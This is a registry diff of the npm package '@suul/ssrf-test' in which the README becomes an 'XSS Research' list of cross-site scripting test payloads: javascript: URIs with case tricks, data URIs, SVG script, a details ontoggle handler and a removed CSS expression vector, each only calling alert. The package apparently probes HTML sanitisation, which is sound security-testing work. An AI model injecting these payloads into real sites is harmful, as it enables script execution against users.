@suul/ssrf-test 1.0.1 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +17 -18
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1,24 +1,23 @@
|
|
|
1
|
-
#
|
|
1
|
+
# XSS Research
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
## Test: img src=javascript
|
|
4
|
+
<img src="javascript:alert(document.domain)">
|
|
4
5
|
|
|
5
|
-
## Test
|
|
6
|
-
<img src="
|
|
6
|
+
## Test: img src=data URI
|
|
7
|
+
<img src="data:text/html,<script>alert(1)</script>">
|
|
7
8
|
|
|
8
|
-
## Test
|
|
9
|
-
<
|
|
9
|
+
## Test: img src with URL scheme tricks
|
|
10
|
+
<img src="JAVASCRIPT:alert(1)">
|
|
11
|
+
<img src="Javascript:alert(1)">
|
|
10
12
|
|
|
11
|
-
## Test
|
|
12
|
-
<
|
|
13
|
+
## Test: a href variants
|
|
14
|
+
<a href="JaVaScRiPt:alert(1)">click</a>
|
|
15
|
+
<a href="javascript:alert(1)">click2</a>
|
|
16
|
+
<a href="javascript:alert(1)">click3</a>
|
|
13
17
|
|
|
14
|
-
## Test
|
|
15
|
-
<
|
|
18
|
+
## Test: SVG with multiple techniques
|
|
19
|
+
<svg><script>alert(1)</script></svg>
|
|
20
|
+
<svg><use href="javascript:alert(1)"></use></svg>
|
|
16
21
|
|
|
17
|
-
## Test
|
|
18
|
-
<
|
|
19
|
-
|
|
20
|
-
## Test 6: SVG foreignObject
|
|
21
|
-
<svg><foreignObject><p>test</p></foreignObject></svg>
|
|
22
|
-
|
|
23
|
-
## Test 7: CSS expression (IE)
|
|
24
|
-
<p style="width:expression(document.title='XSS-TEST-7')">test</p>
|
|
22
|
+
## Test: details/summary
|
|
23
|
+
<details ontoggle="alert(1)"><summary>click</summary></details>
|
package/package.json
CHANGED